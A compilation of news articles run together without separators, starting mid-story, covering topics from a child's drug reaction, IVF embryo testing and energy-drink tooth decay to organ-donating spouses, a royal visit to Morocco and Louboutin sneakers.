David said the psychiatrist visited his daughter at the burn unit and accepted responsibility.

'He visited her when the condition peaked and he said: "I'll take full responsibility. I've never seen this before",' David said.

'I don't consider the guy to be a monster, just ignorant. He doesn't know.'

Doctors told David that it will take between six months to a year for Ashley to make a full recovery and she'll need to have several follow-up visits.

She's well enough to be back in school but she still has discoloration on her back, stomach and arms.

'The discoloration is mostly gone from her face so she's happy about that,' David said, with a laugh. 'She's doing much better.'

Ashley's father says he wants other parents to make sure they do proper research on any drug their child is given.

'It's very important that parents putting their young child on any mood swing type of drug to be careful and do research,' David said.

'Ashley even said: "I don't want anybody to go through what I'm going through".'A revolutionary DNA test could make IVF more successful, research suggests.

Problems with a developing baby's chromosomes - strands of DNA found in every cell - are thought to be the main cause of miscarriages.

To maximise a woman's chance of conceiving via IVF, embryos are therefore screened before they are implanted into her womb to check for any chromosomal issues.

But this involves taking cells from the embryos, which can damage them and increase the risk of a miscarriage.

In a new study, scientists found testing the DNA shed by IVF-created embryos could be a better indicator of whether they will lead to a successful pregnancy.

A revolutionary DNA test could make IVF more successful, research suggests (stock)

The research was carried out by Brigham and Womens Hospital, Boston, and led by Dr Catherine Racowsky, professor of obstetrics, gynecology and reproductive biology.

IVF involves taking a woman's eggs, which then get mixed with her partner's, or a donor's, sperm in a lab. After 16-to-20 hours, they are checked to see if the egg has been fertilised.

The fertilised eggs - or embryos - grow in the lab for six days before the best one or two are transferred into the womb.

But this can do more harm than good and therefore only tends to be carried out when older women - who are more at risk of chromosomal abnormalities - are undergoing IVF.

To test whether a safer approach is possible, the researchers analysed 52 embryos from IVF clinics that were no longer needed and had already undergone a biopsy.

These embryos were kept in a petri dish for 24 hours.

The scientists then tested 0.01ml of the surrounding fluid in the dish, as well as the embryos themselves to determine how many chromosomes they contained.

Results - presented at the Fertility 2019 conference in Birmingham - suggested analysing this fluid produced fewer false positives than traditional methods.

A false positive occurs when a test indicates a problem when the embryo is in fact healthy.

'This shows DNA in spent culture medium can be reliably amplified and sequenced,' Dr Catherine Racowsky said at the conference.

And the new method does not harm the embryo.

Virginia Bolton, consultant embryologist at St Guy's Hospital - who was not involved in the research - told New Scientist: 'Trying to refine our mechanisms for choosing the embryo thats most likely to lead to pregnancy is something thats been eluding us for ever.

'This [approach] doesnt damage the embryo in any way.'

Dr Bolton believes this technique is better than others being developed that test for the chemicals an embryo secretes.

She worries these chemicals may become diluted, skewing the results, whereas 'the DNA is either there or it isnt', she said.

But it is unclear whether embryos assessed under the new method will be any more likely to lead to a healthy pregnancy.

Although it is unknown how chromosomal abnormalities can lead to a miscarriage, one theory is the mother's immune system recognises something is wrong and terminates the pregnancy.

Or the baby may reach a point where the 'faulty' chromosomes are stopping it from developing further.These impressive images show a baby boy who was born while still inside his amniotic sac after it failed to burst in an almost one-in-100,000 rare occurrence.

The startling images were taken at the Praia da Costa Hospital in the city of Vila Velha in the Brazilian state of Espirito Santo by photographer Jana Brasil, who specialises in photos of births.

In the photos, the newborn baby, named Noah by mother Monyck Valasco, can still be seen inside the amniotic sac after he is born by caesarean section.

Noah's whole body is engulfed by the sac giving him a startling, alien-like appearance.

Experts say the special births occur in every 80,000 or 100,000 natural births and do not put the baby or mother at risk.

They are believed to be less common during caesarean section because the scalpel typically punctures the amniotic sac.

Rare: The newborn baby, named Noah by mother Monyck Valasco, can still be seen inside the amniotic sac after he is born at the Praia da Costa Hospital in the city of Vila Velha, Brazil

Unusual labour: The amniotic sac fails to burst in a one-in-100,000 rare occurrence

Shock: Noah's whole body is engulfed by the sac giving him a startling, alien-like appearance

The photos have been posted online and garnered thousands of likes and comments.

Mother Valasco, 34, told reporters: 'People all around the world are reposting the photos and looking for us. I saw him being born. They lowered the screen so I could see. I cried a lot. It's an emotion that has no size.'

Brasil dedicated herself to photographing births as a full-time job three years ago and said: 'It's indescribable to register that moment. Last year I took photos of babies in the sacs, I have two awards.

'But nothing like the photo of Noah, it surprised me. I thought I had been through all the emotions, but he pulled a face and did a little pout.'

Stunning: The photos have been posted online and garnered thousands of likes and comments

Recovery: The child is reportedly still in hospital as Baggieri says the newborn was 'tired' after the birth but the tot is expected to be allowed to go home by the end of the week

Gynaecologist Rafael Angelo Baggieri said: 'An en-caul birth occurs when the baby is born without breaking the amniotic sac, in other words, within a little house which shelters it during gestation.'

Baggieri says the special births occur in every 80,000 or 100,000 natural births and do not put the baby or mother at risk. They are believed to be less common during caesarean section because the scalpel typically punctures the amniotic sac.

Noah is reportedly still in hospital as Baggieri says the newborn was 'tired' after the birth but the tot is expected to be allowed to go home by the end of the week.A man snapped four of his teeth and will need 24 fillings after spending months drinking as many as six cans of Monster Energy drink every day.

Vinnie Pyner, 21, got hooked on the drink, which is full of caffeine and sugar, to help him stay awake for his college studies.

Soon he was drinking up to 45 cans a week and his mother, Tara, 46, became concerned about his addiction.

His front four teeth eventually snapped when he bit into an apple after seven months of guzzling the drink at every meal.

Dentists discovered every tooth in his mouth had rotted, and now he will need 24 fillings and dentures  which will cost him 2,000.

Unemployed Mr Pyner, from Margate, is so embarrassed he quit his computing and coding college studies and fears he will never find a job.

Vinny Pyner, 21, from Margate, started drinking Monster Energy drink to keep him more alert during his college studies. Pictured before

After drinking up to six cans a day for seven months, Mr Pyner began to have tooth pain. He hid his teeth from his mother, until the front four teeth snapped when he bit into an apple

Mr Pyner said: 'I am not sure what the future holds but I hope that I can get back on my feet. Monster Energy has completely ruined my life.

'It started as a way to relieve the stress and pressure from my college course because you have to be focused when it comes to computing and coding.

'But I never thought that it would get this bad, it's affected my confidence dramatically.'

CHILDREN AS YOUNG AS 12 ARE GUZZLING ENERGY DRINKS SO THEY CAN STAY UP LATE TO PLAY VIDEO GAMES Children as young as 12 are guzzling energy drinks to help them stay up late and play video games, experts warned in October last year. Young people are attracted to such drinks due to their promises of enhanced energy, as well as their low cost and ready availability, a study reveals. Previous research has linked energy drinks, such as Red Bull, to obesity, heart abnormalities and even sudden death due to their high-sugar and caffeine content. Excessive caffeine causes cells to release calcium, which negatively influences heart rates, putting people at risk of fatal attacks. Most energy-drink consumers are unaware of the products' main ingredients, health implications or appropriate serving sizes, the current study adds. Study author Dr Jacinta Francis from the Telethon Kids Institute in Perth, said: 'Drinking energy drinks to stay alert while playing video games was a common theme that emerged through all of the age groups. 'I think for the young gamers it would be wise to ban energy drinks.' Advertisement

Vinnie says he started drinking Monster Energy shortly before starting his second-year studying BTEC Computing and Coding at East Kent College, in September 2017.

A 500ml can of Monster Energy contains 54g of sugars, while the recommended daily allowance of sugar in the UK is 30g.

It also contains 160mg of caffeine, and the packaging usually contains a warning label advising consumers against drinking more than 1.36 litres (48 oz) per day.

Vinnie, who ended up drinking three litres a day, said: 'It started with three a day at breakfast, lunch, and dinner so I could stay focused during my studies.

'I often felt tired and needed the energy drinks desperately.'

Several weeks into the new term in October 2017, Vinnie started buying multipacks, which increased his intake and dependence.

Vinnie said: 'It was value for money and much cheaper than to buy individual cans.

'But the temptation of having a pack of four and wanting to drink them all at once got hold of me through the caffeine within them.

'It was like I had to fuel this addiction regularly and if I didn't I would suffer from caffeine withdrawal symptoms such as severe headaches and muscle pain.'

At this point, Vinnie's mum Tara starting raising concerns.

Ms Pyner said: 'I started seeing him coming home regularly with multipacks which were the early signs of addiction.

'I noticed the habitat getting worse and worse as his bedroom bins were always full of the cans.

'But I never thought that it would get this bad.'

Mr Pyner, pictured with his mother, Tara Pyner, 46, said his confidence has been destroyed. He quit college due to embarrassment, and doesn't like to leave the house

Mr Pyner said his games of being a games designer have been dashed while he tries to find employment - something he thinks is hindered by his 'shocking' teeth

By Christmas 2017, Mr Pyner's addiction started to take control and starting having another two cans in-between college classes taking his total to six-a-day.

As a result, he started suffering from tooth pain every time he ate.

My Pyner said: 'Every time I bit down on an item of food it was very painful so it was always a nightmare every time I had something to eat.

'I was starting to realise that this point that my addiction to Monster drinks was getting much worse.

'I never thought to tell anyone, I just coped with the pain.'

He claims he brushed his teeth twice a day but started getting tooth pain.

In March 2018, he bit into an apple and heard a cracking sound.

Vinnie said: 'I didn't think much about it until I swallowed something hard before realising that my upper four teeth had broken off.

'I was shocked and at the same time very worried, the damage looked absolutely awful.

'I couldn't tell my mum because I was so worried about what she might have said and extremely embarrassed about what she had said.

'So I was trying not open my mouth too wide when I was near mum.'

But Ms Pyner got suspicious after several days and asked him to show her his teeth.

She said: 'It was absolutely shocking. His upper four incisor teeth had completely fallen off and you could see his gum line, it was horrible.

'Incisors are often the first adult teeth that grow and make up most of our smile, so his smile was completely ruined.

'At that point, I realised the damage that the Monster Energy drinks had been doing to him, it wasn't very pleasant at all.

'As a mum, it was very hard to take in because, for the last seven months, this addiction had taken control of his life.'

Mr Pyner then immediately sought dental treatment.

Dentists found that all of Vinnie's teeth had rotted and was told that he would have to have 24 fillings and a pair of dentures fitted for the front four teeth.

Mr Pyner said: 'The dentist was extremely shocked to see my teeth and she said that it was one of the worst cases of tooth decay and damage that he had ever seen.

'Looking at my teeth, I realised what I had done, I was in a complete mess.

'I couldn't attend college like this so I had to leave because I couldn't bear the embarrassment.'

As Mr Pyner's confidence plummeted, he dropped out of college, and now spends all his time at home and rarely goes out at all.

He said: 'I can't do much at all, let alone think about my future.

'I can't apply for any jobs because interviewers will take one look at my teeth and say no straight away.

'The smile is the first thing you see in a job interview.

'I had an ambition to become a games designer but now my hopes have been dashed.'

He started dental treatment in September and hopes to return to college and get a job soon.

Speaking about energy drinks, he said: 'Stay away from them, they are completely damaging and they could ruin your life.'

Monster Energy Drinks has been approached for comment.Babylon's GP at Hand app (pictured) is already in London and will be rolled out

NHS England has given the go-ahead for controversial 'GP by Skype' appointments to be rolled out across the country.

The 'GP at Hand' app - run by the private company Babylon - is already in London.

Due to the app requiring patients leave their GP practice when they register, health officials warned the public may start missing out on vital breast and bowel screenings.

But in a dramatic turn of events, NHS England has given the green light for the public to sign up to the virtual GP service from next year.

The controversial app receives NHS funds for every patient it treats. But some have questioned how accurate it is, even calling Babylon 'McDonald's medicine'.

GP at Hand requires all patients be registered with one practice in London, regardless of where they live.

Under the new plans, patients will be able to sign up for a virtual GP even if they live hundreds of miles away from the clinic in the capital city.

The U-turn was revealed yesterday at a meeting of the Hammersmith and Fulham Clinical Commissioning Group (CCG) - where the app's GP practice is based.

CCG officials objected to the plan and passed it on to NHS England.

NHS England claims it has found a way to ensure patients continue to get invited to screenings in their local area.

A spokesperson said: 'As set out in the Long Term Plan, the NHS will see an increasing use of digital technology.

'And from 2021 every patient in England will have access to online and video consultation - if they choose it - and this practice is just one of the ways of providing that.'

GP at Hand also welcomed the decision, with a spokesperson adding: 'The NHS Long Term Plan and GP contract framework set the vision for digital-first primary care and we look forward to making this a reality, in Birmingham and across the country.'

Health Secretary Matt Hancock claimed he has 'become known' for using the app. He also announced he wants all patients in England to be able to have a GP consultation via video within five years. He is pictured arriving at Downing Street for a cabinet meeting yesterday

96% OF PATIENTS DO NOT WANT A VIRTUAL GP Almost all patients do not want to register with a virtual GP service, research suggests. A survey of more than 1,500 people by the independent consumer body Which? revealed 96 per cent of us are unlikely to switch to a online doctor within the next year. And 52 per cent will definitely not change in the next 12 months, Pulse reported. Almost a quarter (23 per cent) of respondents feel GP consultations should be face-to-face. The public also worry about the privacy of their health information, how a virtual GP would refer them to a specialist and technology glitches. Advertisement

GP At Hand is classed as a full NHS GP practice, with Health Secretary Matt Hancock claiming he has 'become known for using the app'.

The MP also announced last December he wants all patients in England to be able to have a consultation with their GP via video link within five years.

Babylon - which offers both a private and an NHS service - reportedly pays its 200 GPs a full-time salary of around 90,000 to work from home or 108,000 if office based.

Earlier this year, an NHS consultant claimed he tested Babylon by pretending to have a nosebleed with reduced sexual desire.

The app concluded he was likely suffering from erectile dysfunction, which he called a 'risk to patient safety'.

Critics also fear introducing hi-tech solutions to healthcare risks isolating the elderly, who are less likely to have access to computers or smartphones.

Doctors also worry video consultations will create a two-tier system in which younger, healthier patients who are more IT-savvy could see a GP quickly online, while the elderly wait for face-to-face appointments.A woman struck down by crippling rheumatoid arthritis when she was just a teenager claims the agonising condition has improved her sex life.

Kate Stallard, now 28, was diagnosed with the autoimmune disease when she was only 16 years old  it most often affects women between the ages of 30 and 50.

Her arthritis, which causes constant pain in her joints, has meant she can only work part time and is unable to get out of bed some days.

The hairdresser, from Bude, Cornwall, feared it would be a barrier to her relationship with Karl Lovell, 31.

But Miss Stallard was pleased to find the condition brought them closer, and said working together to make sex painless 'intensifies the pleasure'.

Kate Stallard, 28, feared her arthritis would be a barrier to her relationship with Karl Lovell, 31

But Miss Stallard was pleased to find the condition brought the couple, from Bude, Cornwall, closer, and said working together to make sex painless 'intensifies the pleasure'

Miss Stallard, now 28, was diagnosed with the autoimmune disease when she was only 16 years old  it most often affects women between the ages of 30 and 50

Miss Stallard said: 'There are obviously times when we have to adapt to where my pain might be on a particular day and try different sexual positions that are more comfortable for me.

'But it is always worth it and I think that it actually makes us closer in the bedroom, because working around the pain intensifies the pleasure of it all.'

Mr Lovell, a logistics manager, said: 'We don't have the same difficulties as other people, who might wake up in the morning and worry about morning breath.

'Instead, we are worrying if Kate will be able to move. But, in many ways, sharing those difficulties is what has brings us closer together.

'There may be days when Kate's condition is particularly bad, but that makes the good days all the more magical, and you have to hold on to every second of them.'

Miss Stallard first began to notice problems with her joints when she was 14, after her left knee began to swell up, making it difficult for her to straighten her leg.

A sporty teenager, whose favourite school subject was PE, Miss Stallard was dismayed when the swelling became so bad she needed surgery.

Medics first believed a build-up of fluid was causing her knee pain.

Miss Stallard's arthritis is an auto-immune illness, meaning that her immune system is attacking her own healthy tissues. It is incurable, and she must take medication to ease her pain

When the pain rapidly spread to other joints including her hips, wrists, shoulders and fingers, it became clear that something much more serious was happening.

On some days the pain was so agonising Miss Stallard struggled to lift herself out of bed, she said.

And in 2006, aged 16, she was diagnosed with rheumatoid arthritis, an auto-immune form of arthritis, which is incurable with no known trigger.

More than 400,000 people in the UK have rheumatoid arthritis  around one per cent of the population  and around 1.3million US adults.

'It was quite a relief being diagnosed, as finally I knew what was wrong with me,' said Miss Stallard.

'At the time, I wasn't really thinking about the fact that this would affect me quite profoundly for the rest of my life.

'I heard arthritis and just thought, "Oh, it's the sort of thing my Nan has, it won't be so bad".'

But when Miss Stallard had a flare up, a time when the symptoms became more intense, performing even the smallest task was agony.

Miss Stallard feared that Mr Lovell, whom she met in June 2017, would not understand her condition, and fretted that it would come between them

However, the couple have said her good days are 'magical' and have brought them closer

Sadly, she underestimated the impact of the disorder, which left her in pain and with fatigue, and she was prescribed steroids for pain-relief and anti-rheumatic drugs.

After leaving school at 16 she could only work part-time, leading to her taking up hairdressing a few days a week.

But with the pain most severe in her knees, she was okay to work as a hairdresser, though she said she occasionally had to wear a wrist splint on her days off.

'As my arthritis began to get worse stupid little things that I normally took for granted became impossible, like holding a pen or pouring sauce on my food,' she said.

Then, in June 2017, she met Mr Lovell, a logistics manager, through a mutual friend.

After a few weeks, the pair started dating, discovering they were clearly a good match and bonding over their shared love of the seaside and sense of humour.

But Miss Stallard fretted over how she would tell him about her arthritis which, by then, was causing flare-ups almost every week.

Fate intervened, according to Miss Stallard, who recalled: 'We were lying in bed one morning a couple of weeks into the relationship and suddenly I could feel a flare-up coming on.

'I tried to ignore it and pretend that nothing was wrong, but then as I got out of bed and stood up, I was just completely paralysed down my left side and couldn't move an inch.

Miss Stallard said she worries that Mr Lovell should be with someone else, but he remains adamant that he wants her despite her agonising condition

Miss Stallard, pictured with Mr Lovell, said regular swelling around her joints affects her self esteem and makes her feel self-conscious

'And that's when I explained about my arthritis. To my great relief, Karl was completely understanding about it.'

Far from putting the brakes on their romance, their relationship continued to blossom and, after a little over a year together, she and Mr Lovell, who has three children from previous relationships, moved into a house together.

But after 18 months Miss Stallard still feels her condition can put a strain on their relationship.

'I have good days and bad days, and I know it can be hard for Karl to know which day is which sometimes,' she confessed.

'For example, the other day I wasn't feeling great and he slapped my bum, playfully, which really was not what I needed and I was very short with him.

'Of course, it's not his fault at all, but it can sometimes be difficult.'

The regular swelling around her joints also affects Miss Stallard's self esteem and makes her feel self-conscious.

She continued: 'There are times when I get paranoid and think that everybody must be staring at me, because my knee has swollen up, or because I'm having trouble moving.

'And that really makes me wonder what Karl could possibly see in me.

'Sometimes, I wonder if he wouldn't be better off with someone normal who didn't have all these problems.'

But Mr Lovell remains adamant that there is only one woman he wants to be his Valentine.

Miss Stallard is speaking out to encourage other people not to suffer in silence and get in touch with Versus Arthritis, a UK charity dedicated to helping people with the condition, for support.The World Health Organization wants to limit noise levels in nightclubs to stop millennials going deaf.

The Geneva-based organisation already offers official guidelines for public venues, but they are not widely implemented. As a result, some output reaches more than 110 decibels - the equivalent noise level of a chainsaw.

Now, the rise in hearing impairment among young people could change that as regulars fear a timebomb of audio issues among the young.

Some 466million people already have debilitating hearing loss, up from 360million in 2010. And that figure is expected to nearly double to 900million, or one in every 10 people, by 2050.

Sounds good: The European Union is the only part of the world to mandate output levels on personal audio devices be set to a standard of 85 decibels, with a maximum of 100 - and now they want to do the same with public venues

'What we are working on now in WHO is to develop that kind of regulatory framework about the different venues  which could be restaurants, bars, concerts, it could even be fitness classes which often have very high levels of sound being played and exposure for a long time,' says the WHO's Dr Shelly Chadha.

In addition, they also want smartphones and personal audio players to cap volume limits  and put time limits on how long people should listen to loud music.

The US's Department of Health suggests noises louder than 85 decibels  about the level of busy city traffic or a food blender  are enough to cause hearing damage

'Think of it like driving on a highway, but without a speedometer in your car or a speed limit,' Dr Chadha added.

'What we've proposed is that your smartphones come fitted with a speedometer, with a measurement system which tells you how much sound you're getting and tells you if you are going over the limit.

'Our effort through this standard is really to empower the user to make the right listening choice or take the risk of developing hearing loss and tinnitus a few years down the line.'

The European Union is the only part of the world to require output levels on personal audio devices to be set to a standard of 85 decibels, with a maximum of 100.

Did you know? Damaging the inner-ear hair cells is how headphone-related hearing loss starts

William Shapiro, a clinical associate professor at New York University Langone, explained in January 2018 that damaging the inner-ear's hair cells is how headphone-related hearing loss begins.

In each ear, the inner ear structure called the cochlea  which receives sound in the form of vibrations  has 15,000 hairs.

These tiny, sensory hair cells are crucial to helping us detect sound waves  but are very fragile.

The hair cells do not regenerate, so damage to them is permanent  a common cause among people with some types of hearing loss.

'If you're using an earbud [headphone], a good rule is 60 per cent of the volume no more than 60 minutes a day,' he said.

He also recommended using noise-cancelling headphones. 'A lot of individuals will crank up the volume because they don't want to hear outside noise.

'Wearing noise cancelling headphones reduces the outside noise which allows us to reduce the volume of the sound we're listening to.

'So it's very important to keep sound at a low level.'Dressed in a glittering gown, Queen Letizia of Spain dazzled as she joined husband King Felipe for a gala dinner in Morocco on Wednesday night.

The royal, 46, looked radiant in the floor-length number, which featured a delicate sheer overlay coat embroidered with sparkling detail.

Hours earlier the couple arrived to kick off their two day visit to the African country which was confirmed just a few days ago.

Dressed in a glittering gown, Queen Letizia of Spain dazzled as she joined husband King Felipe for a gala dinner in Morocco on Wednesday night

Prince Moulay Hassan of Morocco, left, Prince Moulay Rachid of Morocco, centre, and King Mohammed VI of Morocco, right, greeted Letizia and Felipe at the Royal Palace

King Felipe and Queen Letizia of Spain dine with King Mohammed VI of Morocco tonight

Bringing maximum glamour, Queen Letizia of Spain accessoried the gown with glittering earrings and a glitzy silver clutch, pictured

Letizia, who is known for her chic style, wore her hair in a sleek side parting and swept up into a low bun, pictured. She highlighted her natural beauty with a glamorous make-up look

The King and Queen of Spain arrived side-by-side for the lavish dinner in their honour

Tonight they were hosted by King Mohammed VI of Morocco at the Royal Palace in Rabat.

Letizia, who is known for her chic style, wore her hair in a sleek side parting and swept up into a low bun.

Bringing maximum glamour, she accessoried the gown with glittering earrings and a glitzy silver clutch.

King Mohammed VI of Morocco, pictured embracing King Felipe, was on hand to welcome the visitors to the Royal Palace. Also pictured, Prince Moulay Hassan of Morocco, left, and Prince Moulay Rachid of Morocco, centre

Queen Letizia and King Felipe of Spain were given an extravagant welcome to the dinner

The Spanish royals sat either side of Mohammed VI of Morocco at a table beautifully decorated with purple flowers

King Mohammed VI of Morocco hosted the dinner in an exquisite dining room in the Royal Palace, Rabat

The couple waved to crowds as they boarded their private flight in Madrid, which takes just under two hours.

The couple, who last visited the country in 2014, will also take part in official talks with the country's monarch.

Speaking in 2018, Felipe said of the two countries' relationship: 'the relations between Morocco and Spain are strategic because we are neighbors who have shared concerns and who face common challenges and threats that we can transform into opportunities for close cooperation together with will and determination.'

Earlier today the Spanish Royal family were welcomed at a ceremony at the Royal Palace in Rabat.

Prince Moulay Hassan of Morocco greets King Felipe with a warm handshake as Queen Letizia looks on

King Mohammed VI of Morocco accompanies the Spanish royals as they make their way inside the gala dinner at the Royal Palace

Letizia who joined the Spanish Royal family more than ten years ago after marrying King Felipe, 51, is the mother to Princesses Leonor, 13, and Sofia, 11.

The mother-of-two swapped her successful career as a journalist for royal life and now one of her duties includes being a permanent honorary president of the Spanish Association against Cancer and its Scientific Foundation.

Queen Letizia of Spain arrived for a welcoming ceremony at the Royal Palace on February 13, 2019 in Rabat, Morocco earlier today. The Spanish Royals are on a two day visit to MoroccoMost couples demonstrate their love on February 14 with flowers or chocolates.

Some push the boat out with a romantic meal, or even a night at the theatre.

But these five men and women have offered the ultimate loving gesture  the gift of life. In providing their partner with a kidney or parts of their liver, each sacrifice has enabled their loved ones to live full and active lives again after serious illness.

It has also saved them a long and painful wait for organs, with more than 6,000 Britons currently queuing for a transplant.

To mark Valentiness Day, the brave donors  and their grateful spouses  share their stories about the ultimate tokens of love...

I DON'T THINK I CAN THANK HIM ENOUGH

Lorna Tong, 36, from York, met her husband James, 39, when she was a student.

James, a sales manager, gave part of his liver to hospital worker Lorna last year when an auto-immune disease attacked it.

Lorna said: I was told that Id eventually need a liver transplant. I was put on the national organ donor list, but we didnt know how long wed have to wait.

Lonrna Tong, 36, pictured with her husband and liver donor James, 39, together with their children Charley, 12, Theo, 8, and Lily, 3

An auto-immune disease attacked Lorna's liver last year (pictured with daughter Lily in hospital)

James (pictured with Lorna on their wedding day) gave part of his liver to his wife, with the operation hailed as a success

James offered to become her donor and the operation was hailed a success.

Lorna said: I dont think I can ever thank James enough for what hes done. I never doubted he loved me but its still a lovely sign.

James said: I dont think of myself as a hero. I wanted Lorna to get better so we could have our lives back. And we have.

I'D DO THE SAME FOR HER

Michele Johnson, 53, has been married to Gav, 57, for 16 years.

With her husband suffering from a congenital kidney condition, in 2013 Michele, an admin worker from Gateshead, gave him one of hers.

Gav said: I needed to be hooked up to a dialysis machine. I had no quality of life at all. I felt great as soon as I woke up [after the op]. I told her Id do the same for her. And I mean it. Shes given me my life back.

Gav Johnson received a kidney from wife Michele in June 2013 after suffering with a congenital kidney condition

The husband and wife joking the night before the kidney transplant at Newcastle Freeman hospital

Taken on September 20, 2014 in Mexico, just over a year after Gav received a kidney from wife Michelle

The husband and wife married on May 24, 2003 and here they can be seen enjoying their wedding day

I LOVE BRENDA TO BITS

Brenda Green, 62, met her husband Keith, 63, when she was 14 and they married six years later.

When Brenda was told five years ago she needed a kidney transplant fol lowing renal damage after her pregnancy, Keith, a retired BT engineer, stepped in.

Brenda , from Leicestershire, said: I came home crying and told Keith. He said Ill give you mine.

Keith said: Brenda is my wife and I love her to bits. I said: In sickness and in health when we got married  I meant it!

Brenda Green was told five years ago she needed a kidney transplant following renal damage after her pregnancy and husband Keith, a retired BT engineer, stepped in

Keith (pictured top) gave his wife Brenda (pictured bottom) a kidney. Pictured are both with their daughters at Leicester General hospital after the surgery

The loving couple on their wedding day on June 4, 1977. Keith said he meant it when he said 'in sickness and in health'

Brenda and Keith Green when they first got together at the age of 14. Brenda began suffering kidney problems after their second daughter was born

MY WIFE'S MY HERO

Stephen Heavyside, 61, and wife Patricia, 62, from Barrow, Cumbria have been married for 40 years.

Stephen said: I was diagnosed with adult polycystic kidney disease at 17. It killed my mum and grandmother. Five years ago, my kidney function had started to drop to 28 per cent and I was taking nearly 30 tablets a day.

He said Patricias gift of a kidney changed my life.

Stephen added: This has brought us even closer. She is my hero.

Stephen Heavyside, 61, and wife Patricia, 62, from Barrow, Cumbria have been married for 40 years

Steve has seen his life transformed after receiving a kidney from his wife Patricia. Pictured are the couple in hospital

Patricia and Stephen pictured on their wedding day in 1978. Steve's life has changed since the kidney transplant

Steve was diagnosed with adult polycystic kidney disease at 17. Here he is with two of his grandchildren, baby Walter and Ellie

Noel, Alexa and Noah, three of the grandchildren of Stephen and Patricia Heavyside

DECISION WAS EASY

Anna Stevens, 44, and husband Gary, 53, of Watford, Herts, have been wed for 23 years.

Anna donated a kidney to her husband.

She said of the transplant: It was the easiest decision Ive ever made. I wanted us to have our lives back. Gary said: I would have died without her  she put her life at risk for mine.

Theres only two words that I can use to describe her: My angel.

Anna Stevens, 44, and husband Gary, 53 have been married for 23 years and she donated a kidney to him

Gary is diabetic which has caused his kidney to fail. His wife said it was an easy decision to donate hers to him. Pictured is Gary on dialysis

Anna Stephens enjoying some snacks two hours after operation to give husband Stephen a kidneyScottsdale Sen. Michelle Ugenti-Rita succeeded in crossing the first hurdle in her effort to require early-ballot voters to either use mail or stand in line on election days.Christian Louboutin is known around the world for his iconic red-soled heels and now the Parisian designer brings his signature craftsmanship to luxury runners for men and women.

To mark the exciting debut of Run Loubi Run, actor, recording artist, entrepreneur and digital innovator, Quincy Brown, stars in a short film, which he also directed and produced, all set to his upcoming single 'Mosaic' featuring The Code.

A sartorial masterpiece from beginning to end, FEMAIL chats with the wardrobe stylists responsible for the film's uber cool fashions, Joiee Thorpe and Avon Dorsey.

New drop: To mark the launch of high-end label Christian Louboutin's luxury runners for men and women, actor, recording artist, entrepreneur and digital innovator, Quincy Brown, stars in a short film

Glam team: A sartorial masterpiece from beginning to end, FEMAIL chats with the wardrobe stylists responsible for the film's uber cool fashion (Joiee Thorpe in Ronny Kobo and Avon Dorsey in Dior)

The film follows Quincy as he navigates and dances past several men and women to find the person whose passions most closely align with his while illustrating the aesthetics and technical functionality of the new sneaker styles.

Celebrity stylists and New York-based visionaries Joiee Thorpe and Avon Dorsey share their thought processes behind how they developed the overall look of the characters.

'My inspirational key word for styling Quincy and the male cast (including Kid the Wiz, Christian and Justin Combs) was "electric", said Avon.

'I selected high-end designer brands that offered pieces that conveyed a feeling of shine, shimmer, neon and sparkle- anything that gives a feeling of electricity and fluidity.'

'I wanted to combine high fashion with sport, so it could feel youthful and cool at the same time,' said Joiee who dressed the female cast.

'I played around with the feel of 'Ex Machina' meets 'Blade Runner' because I love using films and fashion for style creativity.'

To do this, Joiee used bright neon colors on models Madalina Ghenea and Erin Lim.

'Neons are trending and I figured it would look very cool with the colors of the runners. For the female lead, Juana Burga, I definitely wanted to highlight that silver dress with the crystal sneaker.'

Creating balance: 'Each character's outfit was color-coordinated and balanced with their designated Run-Loubi-Run shoe,' said Avon

Pro tip: 'If the sneaker was crystallized or embellished, I would tone down the clothes with a matte fabric; if the sneaker was leather or dark, I would punch up the color in the clothing'

Modern: 'I wanted to combine high fashion with sport, so it could feel youthful and cool at the same time,' said Joiee who dressed the female cast. 'For Juana Burga, I definitely wanted to highlight that silver dress with the crystal sneaker'

Wanting the sneaker to be the main character, Avon built the wardrobe around the footwear.

'Each character's outfit was color-coordinated and balanced with their designated Run-Loubi-Run shoe,' he said.

'If the sneaker was crystallized or embellished, I would tone down the clothes with a matte fabric; if the sneaker was leather or dark, I would punch up the color in the clothing.'

Joiee also wanted to create balance. 'The mix of bright colors and crystals on the runners are so cool and artsy, I wanted the clothing to complement but not outshine them.'

The collection of sneakers are not your ordinary line of running shoes and we wouldn't expect anything less from the coveted label.

'I love the contrast of materials on each sneaker,' shared Avon. 'The leather patchwork combined with studs and a cushy fabric  it's a very sport-tech feel.'

'They are also fresh and youthful for a new generation of Louboutin wearers,' added Joiee.

Day-glow: 'Neons are trending and I figured it would look very cool with the colors of the runners'

Mixed media: 'I love the contrast of materials on each sneaker,' shared Avon. 'The leather patchwork combined with studs and a cushy fabric  it's a very sport-tech feel'

While sneakers have become a staple with the fashion set in the last couple of years, they can be tricky for the average person to stylishly pull off. Fortunately, experts Joiee and Avon reveal some helpful tips.

For a street style look with simple sneakers, 'go the extra mile to ensure that your clothing is a bit dramatic or layered,' suggests Avon.

'If your sneakers are statement-making (encrusted, embellished, ornate), then your outfit should be low-key or very casual so that theres no competition between your clothes and your shoes  balance is the key!'

'Pair the Louboutin runners with your favorite jeans or a dress, said Joiee. 'They will really zhuzz up any look.' Runners retail from $995 (plain) -$2,995 (spiked) and are available on the label's website.

From the expert: 'If your sneakers are statement-making (encrusted, embellished, ornate), then your outfit should be low-key or very casual so that theres no competition between your clothes and your shoes' explains Avon

To celebrate the launch, an exclusive viewing party was held on Tuesday, February 12 at the Public Hotel Rooftop on Manhattan's Lower East Side.

A-list attendees included Justin Dior Combs, Christian Combs, Juana Burga, Jasmine Sanders, Maluma, Winne Harlow and Maria Borges, all wearing shoes from the brand.

The short film was screened several times throughout the evening, with music by DJ D-Nice and a selection of custom cocktails with Avion Tequila.

Quincy was dressed to impress in the Red-Runner Spring Summer 2019 Black mixed material sneaker by Christian Louboutin

Monochrome: Juana Burga was straight up sexy in the 'Zoom' spring/summer 2019 black suede and PVC fishnet tight sandal, while Jasmine Sanders was red hot in the 'Tres Frais' satin pump with ankle ti

Head-to-toe:Christian Combs coordinated his look with Christian Louboutin's 'Aurelien' spring/summer 2019 black and white patent printed low top sneaker

Pattern play: Justin Dior Combs mixed prints with the 'Rantus Orlato' multicolored printed high top sneaker by Christian Louboutin

